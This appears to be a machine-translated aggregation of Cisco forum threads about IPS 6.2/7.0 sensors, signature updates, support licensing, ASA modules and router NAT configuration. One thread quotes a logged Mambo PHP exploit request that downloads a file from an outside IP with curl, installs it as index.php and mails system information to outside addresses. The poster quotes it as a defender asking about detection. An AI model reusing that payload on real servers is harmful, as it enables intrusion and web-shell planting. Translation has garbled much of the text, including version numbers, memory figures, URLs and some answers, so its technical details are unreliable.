Cisco ips 6.2 vs cisco ips 7.0

Hi all


I have some experience with cisco IPS, but I want to know are there any differences between these two.

or someone knows registred bug with this model two problem?

which one is best? If you want to buy? I need comparison when I go to the docs all have two similar restistiction and the limit, usually for IPv6.


My goal to choose any! which is better and why?

If you have an idea please share. and thanks for that!



Concerning

Jonathan David

Always choose the latest version 7.0 IPS because it has new features and bug fixes that have been found in the earlier version.

BTW, if you buy IPS, you will not buy based on the version because the software comes with it by default, but you can upgrade and downgrade it accordingly if you want.

There are actually many different models of IPS, and here is the list:

-IPS 4200 series

-Module AIP on ASA firewall

-IOS IPS

-IDSM2 6500 series Switch

-AIM or NME IPS on routers

They all can run the version 6.2 or 7.0 or any other supported in this platform.

Tags: Cisco Security

Similar Questions

  • Upgrade version of CISCO IPS signature

    Hi guys:

    Anyone know the process for updating the signature on a CISCO IPS version, I want to do it manually. If somedoy can tell me the orders and all I have to do this.

    Concerning

    Luis;

    Updats manual signature for Cisco IPS sensors can be performed from the CLI as shown here:

    http://www.Cisco.com/en/us/docs/security/IPS/7.0/Configuration/Guide/CLI/cli_system_images.html#wp1142504

    Or from the interface of the IDM as shown here:

    http://www.Cisco.com/en/us/docs/security/IPS/7.0/Configuration/Guide/IDM/idm_sensor_management.html#wp2126670

    This process is also used to upgrade software base of the probe.

    Scott

  • Cisco ips automatically updated link signature?

    Hi all
    I would like to know what address or the link that we need to the IPS-4240 signature automatically update from cisco.
    In our Setup IPS show this link. is this correct?
    Thank you.
    Kind regards
    Budy

    Yes like the following should work

    https://www.Cisco.com/cgi-bin/front.x/IDA/Locator/Locator.pl

    Concerning

    Farrukh

  • Changes in prices for the contracts of Support for Cisco IDS/IPS

    Nice day

    My boss asked me if there is no value added regarding Cisco's recent move to charge separately for hardware and software support for IDS/IPS product line.

    Other than what is obvious (need software support for updates of signature, need of material support in case something breaks), I'm having a hard time to provide a response.

    Can anyone suggest what is the increased value, other than annual recurrent costs more we get as a result of this change of license?

    Also, was there any release press or other notice to the client about this change?

    I am at a loss...

    Alex Arndt

    Alex,

    Cut through the spin and the hype... the software support allows us to finance a development team dedicated to signature, which has improved our signature rejection rates and response times. In addition, it is allowing us to expand our coverage to keep IDS 4.1 to get the support of the signature. It is contrary to our previous policy which would have seen 4.1 updates to signature cut shortly after 5.0 released.

    A side effect of this is that our development team is now free to focus on the development of the feature, and you will see more updates, more often.

    Can't comment on press releases and others, they make your head spin my ;)

    Scott

  • Module of IPS for router Cisco 3925?

    Hello

    To be compliant HIPAA our society must have an IPS device. I was looking into it and I came across this router module (see link below). We have around 200 users behind the router and we have 2 locations with a similar setup. This module meets our requirement to have a decent IPS solution, my concerns are. It will be able to support a corporate network? Should what factors I take into account during the finalization of an IPS device.

    http://www.Cisco.com/c/en/us/products/collateral/routers/1841-integrated...

    Any idea is appreciated.

    The modules of network and all the 'old' Cisco IPS devices, modules and software are end-of-sales. Here's the announcement confirming that these specific modules.

    For a modest condition like yours, I recommend a small series of ASA 5500-X running in transparent mode with the power module of fire services running the IPS feature. It is less intrusive to your network ("bump in the wire") and only costs it for the features it offers. the exact model would be mainly depends on your current and projected throughput but for up to 50 Mbit/s with active political IPS you would be fine with the smallest model (ASA 5506-X).

    Find a Cisco partner, who has a security practice in your area. They can advise you on the details and provide a quote.

  • List of Cisco IPS Signatures

    Hi guys,.

    I need list of PDF complete cisco ips signatures.

    Can someone help me find a link or a pdf?

    Thank you all,

    JV

    Hello

    I couldn't find any method to export the list of signatures. This could be because there are thousands of them.

    However, you can use the following link to find signatures of details.

    http://Tools.Cisco.com/Security/Center/home.x

    SPSP

  • Module of IPS ASA 5505 Cisco ASA-SSC-AIP-5 Auto Update

    Automatic update no longer work after November 14, 2014

    Cisco Intrusion Prevention System, Version 5,0000 E4, SSC-AIP-5

    Error: automatic update has selected a package ([https:[email protected] / * *///swc/esd/11/273556262/guest/IPS-sig-S838-req-E4.pkg) to the cisco.com Locator service, however, the package download failed: the host is not approved. Add TLS certificates approved of the host system.

    Automatic update can work without problem until November 14, 2014.

    I've added welcomes guests of tls trust

    # tls trust-facilitators
    72.163.4.161
    72.163.7.60

    Always faced with the same question

    Understand the Signature Update feature works automatic Cisco IPS

    http://www.Cisco.com/c/en/us/support/docs/security/IPS-sensor-software-version-71/113674-IPS-automatic-signature-update-00.html

    SPI uses the file transfer

    protocol defined in the file download data learned in the server manifest URL (currently using HTTP

    TCP (80)).

    The problem I see is that earlier before 14 nov it fetch the file signature with HTTP (works fine)

    but now, he's trying with HTTPS instead.

    A single session against 72.163.4.161 (have always been the HTTPS)

    A single session against 72.163.7.60, previous HTTP now it uses the HTTPS protocol

    Does anyone have a solution?

    fix.

    the problem with the location service should be set right now and you can continue to use the auto-update http

  • PHP exploit triggers Cisco Security Agent but NOT at Cisco IPS... why?

    Does anyone know what signing this feat should trigger with the Cisco IPS sensor? You are not sure if there is one, or if we turned it off?

    We see this feat hit our Exchange servers several times during the week.

    The process of "C:\WINNT\System32\inetsrv\inetinfo.exe" (as user NT AUTHORITY\SYSTEM) received the data ' / index2.php? option = com_content & do_pdf = 1 & id = 1index2.php? _REQUEST [option] = com_content & _REQUEST [Itemid] = 1 & GLOBALS = & mosConfig_absolute_path =http://220.194.57.112/~photo/cm?&cmd=cd%20cache;curl%20-O%20http: / / 220.194.57.112/~photo/cm;mv%20cm%20index.php;rm%20-rf%20cm*;uname%20-a%20|%20mail%20-s%20uname_i2_66. 224.194.188%[email protected] / * /; uname%20-a%20|%20Mail%20-s%20uname_i2_66.224.194.188%[email protected] / * /. com; echo |'.

    I think that this could be the exploit of mambo. See http://www.securityfocus.com/archive/1/archive/1/427196/100/0/threaded for the info. I searched on mambo MySDN and found GIS 5163 "Mambo Site Server Administration Password ByPass" here is a snippet of the description: "administrative access is acquired by sending a specific url using the index2.php script and the PHPSESSID variable." This looks like what you pasted. Note "index2.php". Your IPS can not seen this so it was more than 443.

    Hope this helps

    M

  • Cisco asa 5585 syslog options for ips?

    We have CISCO ASA 5585 with a separate module for the IPS, I want to know what are the options for configuring syslog? Its almost impossible to find; and there are some forums on the internet that says cisco ips store the logs in native format / owner and cannot be exported.

    Please provide details

    Thank you.

    Click on the following link

    https://supportforums.Cisco.com/document/47881/SDEE-and-IPS

  • Cisco IPS

    Hi all

    Take over some jobs maitainence on IPS and it then, I need help!

    ASA5510-AIP10-K9 with license expires a year. Motor still works well but no update of the signature.

    Question 1

    What is the SKU for license renewal? can you please paste the URL linked here?

    Question 2

    The IPS engine is version 6,0000 E4. Intend to upradge to 8,0000 E4 version.

    What is the propper upgrade path? Should I start by 7.0000 E4, then followed by 8,0000 E4

    or 7.0 (8) E4 patches are cumulative, so only need to apply the latest version?

    Question 3

    This is the little piece of capture "display version":

    Using 1032495104 bytes of available memory (65% of use) 675745792

    system is using 17.4 M 38.5 m bytes of disk space available (45% of use)

    application data using 48.4 M off 166,6 M bytes of disk space available (31% of use)

    startup is using 45.6 M 68.5 m bytes of disk space available (70% of use)

    Application log using 123.5 M off 513,0 M bytes of disk space available (24% of use)

    The upgrade of the motor system will cause the IPS running out of space? I focus on the second statement.

    Millions of thanks to all

    Noel

    1 as described in this document, you must have the support of IPS for your ASA - this is a service contract that includes the ASA equipment and software SMARTnet until updates of signature and software IPS. more commonly classified in support is "AR NBD" (Advance replacement the next day) and Cisco SKU CON-SU1-AS1A10K9.

    2. I think 7.0000 that e4 is the current version. You can upgrade to that (or 7.0 (8) E4) directly from your current version. Please see the readme file.

    3. your available space should be fine.

  • Cisco IPS 4200 Signature Update

    We are currently under evaluation and implementation of the Cisco IPS solution to our security needs.

    Our supplier has said that the signature 'online' updates to Cisco IPS is not possible - this is a manual process and we need to charge the device if you want to update the files.

    Somehow, it defies logic. Surely, I think, that any IP address should have the possibility of obtaining signatures updated "online".

    I apologize, because that question is too basic in nature. But could someone shed more light on this?

    Thank you.

    You have auto update functionality of Cisco IPS version 6.0, take a look at the attached picture.

    Update of signatures is * recommended * that you reload the signatures (restart the sensor), although this is not mandatory.

    Our IPS has not been restarted for over two months now and everything is working ok.

    Automatic update

    Automatic update

    Automatic update

  • Several external IPs on Cisco 881

    Nice day

    I have a Cisco 881 router on which I am putting in place some NAT to allow external connections on some IP addresses replacing my ISP to connect to some ports on my internal servers.   Unfortunately, I'm not a network engineer and something seems to be non-tout to right with my setup.

    My ISP, I have IP 184.183.156.98, he was assigned to the WAN port on my router Cisco 881 (FastEthernet4), and I have this working properly.  Rules of Port forwarding I have in place that use this IP address work very well.   In addition, I have the small block of IPs 184.183.150.161 - 164.   None of the port forwarding rules put in place for these seem to work at all.

    If you need the full config file, please let me know.  This section below seems to be the relevant bits to my question, the entries in bold are the port forwarding rules that I think should work, but who do not seem to.

    !

    interface FastEthernet4

    WAN description $ FW_OUTSIDE$

    IP 184.183.156.98 255.255.255.252

    no ip redirection

    no ip unreachable

    NAT outside IP

    IP virtual-reassembly in

    automatic duplex

    automatic speed

    !

    overload of IP nat inside source list 23 interface FastEthernet4

    IP nat inside source static tcp 192.168.10.205 1024 184.183.150.162 1024 extensible

    IP nat inside source static tcp 192.168.10.205 1025 184.183.150.162 1025 extensible

    IP nat inside source static tcp 192.168.10.205 1026 184.183.150.162 1026 extensible

    IP nat inside source static tcp 192.168.10.205 184.183.150.162 1027 1027 extensible

    IP nat inside source static tcp 192.168.10.205 3061 184.183.150.162 3061 extensible

    IP nat inside source static tcp 192.168.10.205 3064 184.183.150.162 3064 extensible

    IP nat inside source static tcp 192.168.10.210 888 184.183.150.163 888 extensible

    IP nat inside source static tcp 192.168.10.93 1024 184.183.150.164 1024 extensible

    IP nat inside source static tcp 192.168.10.93 1026 184.183.150.164 1026 extensible

    IP nat inside source static tcp 192.168.10.93 184.183.150.164 1027 1027 extensible

    IP nat inside source static tcp 192.168.10.93 184.183.150.164 3060 3060 extensible

    IP nat inside source static tcp 192.168.10.93 6901 184.183.150.164 6901 extensible

    IP nat inside source static udp 192.168.10.93 6901 184.183.150.164 6901 extensible

    IP nat inside source static tcp 192.168.10.250 88 184.183.156.98 88 extensible

    IP nat inside source static tcp 192.168.10.250 37777 184.183.156.98 37777 extensible

    IP route 0.0.0.0 0.0.0.0 184.183.156.97

    !

    Note access-list 23 CCP_ACL category = 19

    access-list 23 allow 192.168.10.0 0.0.0.255

    access-list 23 allow 192.168.20.0 0.0.0.255

    access-list 23 allow 192.168.30.0 0.0.0.255

    access-list 23 permit 192.168.40.0 0.0.0.255

    Note access-list 23 VPN Internet acccess

    access-list 23 allow 192.168.50.0 0.0.0.255

    Thank you

    Adam Corbett

    Adam

    From what you have posted your config looks very good. Are you sure that your ISP routes these IPs to your external interface?

    How do you test it?

    Jon

  • Cisco IPS ASA SSM - 10

    I use an IPS SSM - 10 ASA. Currently he is recording these event alerts.

    Whence the IPS keeps all the event logs? In disk space?

    Where can I see how much space I left?

    Is he got off, if the space is full?

    You don't need to delete it, its CIRCULAR and will replace itself. More information can be found here:

    http://www.Cisco.com/en/us/docs/security/IPS/6.0/Configuration/Guide/CLI/cliArch.html#wp1010399

    The command is "clear events.

    You cannot remove "individual" events Its all or nothing.

    Yes, the best way is to set the IP addresses for the false positives either edit/disable unwanted signature or use event action filters.

    Concerning

    Farrukh

  • How to configure e-mail notification in Cisco IPS-

    Hi team,

    How to set up email notification in Cisco IPs 4200.

    I have the EV, and no cisco works.

    Is it possible only through works of cisco?

    concerning

    Rajesh P

    You can just click edition, preferences, and then check the box to enable e-mail. Type your SMTP address, address and address of the recipient. Choose which alerts you want to be notified (high, medium...). You can just tweak it as you like (change notification interal, content... etc). I hope this helps!

  • The ACE IPS Cisco and Cisco ASA AIP - SSM (IPS)

    Is there a difference between the features offered by the Cisco ACE IPS and Cisco ASA AIP - SSM (IPS) devices?

    Can we do without Cisco ASA AIP - SSM (IPS) of 'only' configuration/implementation Cisco ACE IPS.

    Cisco AVS/ACE emphasis on commissioning and to secure web-based applications. IP addresses do not focus on just the web applications and trying to get the multiple layers of the OSI stack. Consider the IPS as a general practitioner and the ACE/AVS as an eye surgeon, or something :)

    Here is the response from Cisco itself:

    http://www.Cisco.com/en/us/prod/collateral/modules/ps2706/ps6906/prod_qas0900aecd8045867c_ps6492_Products_Q_and_A_Item.html

    Q: how is Cisco AVS Firewall application differs from an intrusion prevention system (IPS)?

    A. IPSs are solid solutions of protection against targeted attacks of known vulnerabilities in major platforms such as Windows, Solaris, Apache or Microsoft Internet Information Services (IIS). Cisco AVS excels to protect against targeted attacks Web sites or enterprise applications. These applications can be built custom internal applications or software vendor. Signatures and security patches are generally not available for these types of applications, and building these security levels in each application, it would be almost impossible.

    Q: how is Cisco AVS Firewall application differs by a network firewall?

    A. The Cisco AVS 3120 and Firewall network such as the Firewall of Cisco PIX® and Cisco ASA 5500 Series Adaptive Security appliances are complementary products. The application Cisco AVS Firewall secures Web applications; excellent network in the network security firewall. and the Cisco AVS provides defense in depth for Web applications.

    Firewall network apply policy networks, IP addresses and ports; they have a wide range of application for many different protocols layer features. The firewall can and will be deployed in many locations, including the edge, edge of the enterprise network, branch, etc. Cisco AVS imposed the policy on data HTTP as URL, headers and parameters. Cisco AVS is deployed in the data center in front of Web applications

    Concerning

    Farrukh

  • Cisco IPS 6.1 Auto Update password encryption

    I have recently set up the automatic update via Cisco. I entered my CCO username and password via the GUI. As I entered the password, the characters were displayed in the form of points. A little later, I was in the EPI CLI. I noticed in the "show config" my CCO username and password are in the clear. Is there a way to encrypt my password? I assume developers Cisco intended for me to use my ORC. Should I use a different id EAC? Maybe a generic company userid has only IPS signature update capabilities.

    Unaware, but they work.

    See http://tools.cisco.com/Support/BugToolKit/search/getBugDetails.do?method=fetchBugDetails&bugId=CSCsh61309

    I opened a case of TAC as if you installed a blocking device it stores also your credentials and the enable plaintext password if the configuration file is encrypted on disk.

Maybe you are looking for